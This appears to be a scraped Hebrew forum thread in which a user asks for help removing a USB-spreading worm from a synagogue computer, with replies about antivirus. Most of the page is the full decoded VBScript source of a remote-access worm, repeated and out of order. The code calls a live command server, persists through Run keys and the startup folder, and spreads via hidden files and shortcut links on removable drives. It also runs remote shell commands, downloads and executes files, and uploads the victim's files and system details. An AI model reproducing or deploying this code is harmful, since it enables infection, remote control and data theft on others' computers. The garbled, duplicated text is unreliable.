                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                              if  instr (fileicon,",") = 0 then
                                                  lnkobj.iconlocation = file.path
                                              else 
                                                  lnkobj.iconlocation = fileicon
                                              end if
                                              lnkobj.save()
                                          end if
                                      end if
                                  end if
                              next
                              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                  if not lnkfolder then exit for
                                  folder.attributes = 2+4
                                  foldername = folder.name
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                  if  instr (foldericon,",") = 0 then
                                      lnkobj.iconlocation = folder.path
                                  else 
                                      lnkobj.iconlocation = foldericon
                                  end if
                                  lnkobj.save()
                              next
                          end If
                          end If
                          end if
                          next
                          err.clear
                          end sub
                          
                          sub uninstall
                          on error resume next
                          dim filename
                          dim foldername
                          
                          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          filesystemobj.deletefile startup & installname ,true
                          filesystemobj.deletefile wscript.scriptfullname ,true
                          
                          for  each drive in filesystemobj.drives
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                   on error resume next
                                   if  instr (file.name,".") then
                                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                           file.attributes = 0
                                           if  ucase (file.name) <> ucase (installname) then
                                               filename = split(file.name,".")
                                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                           else
                                               filesystemobj.deletefile (drive.path & "\" & file.name)
                                           end If
                                       else
                                           filesystemobj.deletefile (file.path) 
                                       end if
                                   end if
                               next
                               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                   folder.attributes = 0
                               next
                          end if
                          end if
                          end if
                          next
                          wscript.quit
                          end sub
                          
                          function post (cmd ,param)
                          
                          post = param
                          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                          httpobj.setrequestheader "user-agent:",information
                          httpobj.send param
                          post = httpobj.responsetext
                          end function
                          
                          function information
                          on error resume next
                          if  inf = "" then
                              inf = hwid & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                          
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set os = root.execquery ("select * from win32_operatingsystem")
                              for each osinfo in os
                                 inf = inf & osinfo.caption & spliter  
                                 exit for
                              next
                              inf = inf & "plus" & spliter
                              inf = inf & security & spliter
                              inf = inf & usbspreading
                              information = inf  
                          else
                              information = inf
                          end if
                          end function
                          
                          sub upstart ()
                          on error resume Next
                          
                          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                          
                          end sub
                          
                          function hwid
                          on error resume next
                          
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set disks = root.execquery ("select * from win32_logicaldisk")
                          for each disk in disks
                              if  disk.volumeserialnumber <> "" then
                                  hwid = disk.volumeserialnumber
                                  exit for
                              end if
                          next
                          end function
                          
                          function security 
                          on error resume next
                          
                          security = ""
                          
                          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                          for each objitem in colitems
                              versionstr = split (objitem.version,".")
                          next
                          versionstr = split (colitems.version,".")
                          osversion = versionstr (0) & "."
                          for  x = 1 to ubound (versionstr)
                               osversion = osversion &  versionstr (i)
                          next
                          osversion = eval (osversion)
                          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                          
                          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                          
                          for each objantivirus in colantivirus
                              security  = security  & objantivirus.displayname & " ."
                          next
                          if security  = "" then security  = "nan-av"
                          end function
                          
                          function instance
                          on error resume next
                          
                          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                          if usbspreading = "" then
                             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                usbspreading = "true - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                             else
                                usbspreading = "false - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                          
                             end if
                          end If
                          
                          
                          upstart
                          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                              wscript.quit 
                          end If
                          err.clear
                          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                          if  err.number > 0 then wscript.quit
                          end function
                          
                          sub sitedownloader (fileurl,filename)
                          
                          strlink = fileurl
                          strsaveto = installdir & filename
                          set objhttpdownload = createobject("msxml2.xmlhttp" )
                          objhttpdownload.open "get", strlink, false
                          objhttpdownload.send
                          
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                           
                          if objhttpdownload.status = 200 then
                             dim  objstreamdownload
                             set  objstreamdownload = createobject("adodb.stream")
                             with objstreamdownload
                                  .type = 1 
                                  .open
                                  .write objhttpdownload.responsebody
                                  .savetofile strsaveto
                                  .close
                             end with
                             set objstreamdownload = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          sub download (fileurl,filedir)
                          
                          if filedir = "" then 
                             filedir = installdir
                          end if
                          
                          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                          set objhttpdownload = createobject("msxml2.xmlhttp")
                          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                          objhttpdownload.send ""
                               
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                          if  objhttpdownload.status = 200 then
                              dim  objstreamdownload
                              set  objstreamdownload = createobject("adodb.stream")
                              with objstreamdownload 
                                   .type = 1 
                                   .open
                                   .write objhttpdownload.responsebody
                                   .savetofile strsaveto
                                   .close
                              end with
                              set objstreamdownload  = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          function upload (fileurl)
                          
                          dim  httpobj,objstreamuploade,buffer
                          set  objstreamuploade = createobject("adodb.stream")
                          with objstreamuploade 
                               .type = 1 
                               .open
                               .loadfromfile fileurl
                               buffer = .read
                               .close
                          end with
                          set objstreamdownload = nothing
                          set httpobj = createobject("msxml2.xmlhttp")
                          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                          httpobj.send buffer
                          end function
                          
                          function enumdriver ()
                          
                          for  each drive in filesystemobj.drives
                          if   drive.isready = true then
                               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                          end if
                          next
                          end Function
                          
                          function enumfaf (enumdir)
                          
                          enumfaf = enumdir & spliter
                          for  each folder in filesystemobj.getfolder (enumdir).subfolders
                               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                          next
                          
                          for  each file in filesystemobj.getfolder (enumdir).files
                               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                          
                          next
                          end function
                          
                          function enumprocess ()
                          
                          on error resume next
                          
                          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_process",,48)
                          
                          dim objitem
                          for each objitem in colitems
                              enumprocess = enumprocess & objitem.name & "|"
                              enumprocess = enumprocess & objitem.processid & "|"
                              enumprocess = enumprocess & objitem.executablepath & spliter
                          next
                          end function
                          
                          sub exitprocess (pid)
                          on error resume next
                          
                          shellobj.run "taskkill /F /T /PID " & pid,7,true
                          end sub
                          
                          sub deletefaf (url)
                          on error resume next
                          
                          filesystemobj.deletefile url
                          filesystemobj.deletefolder url
                          
                          end sub
                          
                          function cmdshell (cmd)
                          
                          dim httpobj,oexec,readallfromany
                          
                          set oexec = shellobj.exec ("%comspec% /c " & cmd)
                          if not oexec.stdout.atendofstream then
                             readallfromany = oexec.stdout.readall
                          elseif not oexec.stderr.atendofstream then
                             readallfromany = oexec.stderr.readall
                          else 
                             readallfromany = ""
                          end if
                          
                          cmdshell = readallfromany
                          end function
                          
                          cfopuserC מנותק
                          cfopuserC מנותק
                          cfopuser
                          כתב נערך לאחרונה על ידי
                          #14

                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                          נראה שלא הועיל,
                          לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                          מתכנת חובבמ תגובה 1 תגובה אחרונה
                          1
                          • cfopuserC cfopuser

                            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                            נראה שלא הועיל,
                            לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                            מתכנת חובבמ מנותק
                            מתכנת חובבמ מנותק
                            מתכנת חובב
                            מדריכים
                            כתב נערך לאחרונה על ידי
                            #15

                            @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                            ר תגובה 1 תגובה אחרונה
                            0
                            • מתכנת חובבמ מתכנת חובב

                              @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                              ר מנותק
                              ר מנותק
                              רנדומלי
                              כתב נערך לאחרונה על ידי
                              #16

                              השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                              מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                              מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                              גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                              @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                              cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                              0
                              • ר רנדומלי

                                השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                cfopuserC מנותק
                                cfopuserC מנותק
                                cfopuser
                                כתב נערך לאחרונה על ידי
                                #17

                                @רנדומלי היא כן.

                                תגובה 1 תגובה אחרונה
                                1
                                • ר רנדומלי

                                  בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                  cmd /c hrxxryydxo.vbs && start explorer [file name]
                                  

                                  הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                  לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                  תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                  לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                  z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                  

                                  בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                  לאחר פיענוח הקידוד התקבל הקוד הבא:
                                  אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                  e
                                  '<[ recoder : houdini (c) skype : houdini-fx ]>
                                  
                                  '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                  
                                  host = "khattab.no-ip.biz"
                                  port = 5550
                                  installdir = "%temp%"
                                  lnkfile = true
                                  lnkfolder = true
                                  
                                  '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                  
                                  dim shellobj 
                                  set shellobj = wscript.createobject("wscript.shell")
                                  dim filesystemobj
                                  set filesystemobj = createobject("scripting.filesystemobject")
                                  dim httpobj
                                  set httpobj = createobject("msxml2.xmlhttp")
                                  
                                  '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                  
                                  installname = wscript.scriptname
                                  startup = shellobj.specialfolders ("startup") & "\"
                                  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                  spliter = "<" & "|" & ">"
                                  sleep = 5000 
                                  dim response
                                  dim cmd
                                  dim param
                                  info = ""
                                  usbspreading = ""
                                  startdate = ""
                                  dim oneonce
                                  
                                  '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                  on error resume next
                                  
                                  instance
                                  while true
                                  
                                  install
                                  
                                  response = ""
                                  response = post ("is-ready","")
                                  cmd = split (response,spliter)
                                  select case cmd (0)
                                  case "excecute"
                                        param = cmd (1)
                                        execute param
                                  case "update"
                                        param = cmd (1)
                                        oneonce.close
                                        set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                        oneonce.write param
                                        oneonce.close
                                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                        wscript.quit 
                                  case "uninstall"
                                        uninstall
                                  case "send"
                                        download cmd (1),cmd (2)
                                  case "site-send"
                                        sitedownloader cmd (1),cmd (2)
                                  case "recv"
                                        param = cmd (1)
                                        upload (param)
                                  case  "enum-driver"
                                        post "is-enum-driver",enumdriver  
                                  case  "enum-faf"
                                        param = cmd (1)
                                        post "is-enum-faf",enumfaf (param)
                                  case  "enum-process"
                                        post "is-enum-process",enumprocess   
                                  case  "cmd-shell"
                                        param = cmd (1)
                                        post "is-cmd-shell",cmdshell (param)  
                                  case  "delete"
                                        param = cmd (1)
                                        deletefaf (param) 
                                  case  "exit-process"
                                        param = cmd (1)
                                        exitprocess (param) 
                                  case  "sleep"
                                        param = cmd (1)
                                        sleep = eval (param)        
                                  end select
                                  
                                  wscript.sleep sleep
                                  
                                  wend
                                  
                                  sub install
                                  on error resume next
                                  dim lnkobj
                                  dim filename
                                  dim foldername
                                  dim fileicon
                                  dim foldericon
                                  
                                  upstart
                                  for each drive in filesystemobj.drives
                                  
                                  if  drive.isready = true then
                                  if  drive.freespace  > 0 then
                                  if  drive.drivetype  = 1 then
                                      filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                      if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                      end if
                                      for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                          if not lnkfile then exit for
                                          if  instr (file.name,".") then
                                              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                  file.attributes = 2+4
                                                  if  ucase (file.name) <> ucase (installname) then
                                                      filename = split(file.name,".")
                                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                      lnkobj.windowstyle = 7
                                                      lnkobj.targetpath = "cmd.exe"
                                                      lnkobj.workingdirectory = ""
                                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                      fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                      if  instr (fileicon,",") = 0 then
                                                          lnkobj.iconlocation = file.path
                                                      else 
                                                          lnkobj.iconlocation = fileicon
                                                      end if
                                                      lnkobj.save()
                                                  end if
                                              end if
                                          end if
                                      next
                                      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                          if not lnkfolder then exit for
                                          folder.attributes = 2+4
                                          foldername = folder.name
                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                          lnkobj.windowstyle = 7
                                          lnkobj.targetpath = "cmd.exe"
                                          lnkobj.workingdirectory = ""
                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                          foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                          if  instr (foldericon,",") = 0 then
                                              lnkobj.iconlocation = folder.path
                                          else 
                                              lnkobj.iconlocation = foldericon
                                          end if
                                          lnkobj.save()
                                      next
                                  end If
                                  end If
                                  end if
                                  next
                                  err.clear
                                  end sub
                                  
                                  sub uninstall
                                  on error resume next
                                  dim filename
                                  dim foldername
                                  
                                  shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                  shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                  filesystemobj.deletefile startup & installname ,true
                                  filesystemobj.deletefile wscript.scriptfullname ,true
                                  
                                  for  each drive in filesystemobj.drives
                                  if  drive.isready = true then
                                  if  drive.freespace  > 0 then
                                  if  drive.drivetype  = 1 then
                                      for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                           on error resume next
                                           if  instr (file.name,".") then
                                               if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                   file.attributes = 0
                                                   if  ucase (file.name) <> ucase (installname) then
                                                       filename = split(file.name,".")
                                                       filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                   else
                                                       filesystemobj.deletefile (drive.path & "\" & file.name)
                                                   end If
                                               else
                                                   filesystemobj.deletefile (file.path) 
                                               end if
                                           end if
                                       next
                                       for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                           folder.attributes = 0
                                       next
                                  end if
                                  end if
                                  end if
                                  next
                                  wscript.quit
                                  end sub
                                  
                                  function post (cmd ,param)
                                  
                                  post = param
                                  httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                  httpobj.setrequestheader "user-agent:",information
                                  httpobj.send param
                                  post = httpobj.responsetext
                                  end function
                                  
                                  function information
                                  on error resume next
                                  if  inf = "" then
                                      inf = hwid & spliter 
                                      inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                      inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                  
                                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set os = root.execquery ("select * from win32_operatingsystem")
                                      for each osinfo in os
                                         inf = inf & osinfo.caption & spliter  
                                         exit for
                                      next
                                      inf = inf & "plus" & spliter
                                      inf = inf & security & spliter
                                      inf = inf & usbspreading
                                      information = inf  
                                  else
                                      information = inf
                                  end if
                                  end function
                                  
                                  sub upstart ()
                                  on error resume Next
                                  
                                  shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                  filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                  filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                  
                                  end sub
                                  
                                  function hwid
                                  on error resume next
                                  
                                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set disks = root.execquery ("select * from win32_logicaldisk")
                                  for each disk in disks
                                      if  disk.volumeserialnumber <> "" then
                                          hwid = disk.volumeserialnumber
                                          exit for
                                      end if
                                  next
                                  end function
                                  
                                  function security 
                                  on error resume next
                                  
                                  security = ""
                                  
                                  set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                  for each objitem in colitems
                                      versionstr = split (objitem.version,".")
                                  next
                                  versionstr = split (colitems.version,".")
                                  osversion = versionstr (0) & "."
                                  for  x = 1 to ubound (versionstr)
                                       osversion = osversion &  versionstr (i)
                                  next
                                  osversion = eval (osversion)
                                  if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                  
                                  set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                  Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                  
                                  for each objantivirus in colantivirus
                                      security  = security  & objantivirus.displayname & " ."
                                  next
                                  if security  = "" then security  = "nan-av"
                                  end function
                                  
                                  function instance
                                  on error resume next
                                  
                                  usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                  if usbspreading = "" then
                                     if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                        usbspreading = "true - " & date
                                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                     else
                                        usbspreading = "false - " & date
                                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                  
                                     end if
                                  end If
                                  
                                  
                                  upstart
                                  set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                  set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                  if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                      wscript.quit 
                                  end If
                                  err.clear
                                  set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                  if  err.number > 0 then wscript.quit
                                  end function
                                  
                                  sub sitedownloader (fileurl,filename)
                                  
                                  strlink = fileurl
                                  strsaveto = installdir & filename
                                  set objhttpdownload = createobject("msxml2.xmlhttp" )
                                  objhttpdownload.open "get", strlink, false
                                  objhttpdownload.send
                                  
                                  set objfsodownload = createobject ("scripting.filesystemobject")
                                  if  objfsodownload.fileexists (strsaveto) then
                                      objfsodownload.deletefile (strsaveto)
                                  end if
                                   
                                  if objhttpdownload.status = 200 then
                                     dim  objstreamdownload
                                     set  objstreamdownload = createobject("adodb.stream")
                                     with objstreamdownload
                                          .type = 1 
                                          .open
                                          .write objhttpdownload.responsebody
                                          .savetofile strsaveto
                                          .close
                                     end with
                                     set objstreamdownload = nothing
                                  end if
                                  if objfsodownload.fileexists(strsaveto) then
                                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                  end if 
                                  end sub
                                  
                                  sub download (fileurl,filedir)
                                  
                                  if filedir = "" then 
                                     filedir = installdir
                                  end if
                                  
                                  strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                  set objhttpdownload = createobject("msxml2.xmlhttp")
                                  objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                  objhttpdownload.send ""
                                       
                                  set objfsodownload = createobject ("scripting.filesystemobject")
                                  if  objfsodownload.fileexists (strsaveto) then
                                      objfsodownload.deletefile (strsaveto)
                                  end if
                                  if  objhttpdownload.status = 200 then
                                      dim  objstreamdownload
                                      set  objstreamdownload = createobject("adodb.stream")
                                      with objstreamdownload 
                                           .type = 1 
                                           .open
                                           .write objhttpdownload.responsebody
                                           .savetofile strsaveto
                                           .close
                                      end with
                                      set objstreamdownload  = nothing
                                  end if
                                  if objfsodownload.fileexists(strsaveto) then
                                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                  end if 
                                  end sub
                                  
                                  function upload (fileurl)
                                  
                                  dim  httpobj,objstreamuploade,buffer
                                  set  objstreamuploade = createobject("adodb.stream")
                                  with objstreamuploade 
                                       .type = 1 
                                       .open
                                       .loadfromfile fileurl
                                       buffer = .read
                                       .close
                                  end with
                                  set objstreamdownload = nothing
                                  set httpobj = createobject("msxml2.xmlhttp")
                                  httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                  httpobj.send buffer
                                  end function
                                  
                                  function enumdriver ()
                                  
                                  for  each drive in filesystemobj.drives
                                  if   drive.isready = true then
                                       enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                  end if
                                  next
                                  end Function
                                  
                                  function enumfaf (enumdir)
                                  
                                  enumfaf = enumdir & spliter
                                  for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                       enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                  next
                                  
                                  for  each file in filesystemobj.getfolder (enumdir).files
                                       enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                  
                                  next
                                  end function
                                  
                                  function enumprocess ()
                                  
                                  on error resume next
                                  
                                  set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
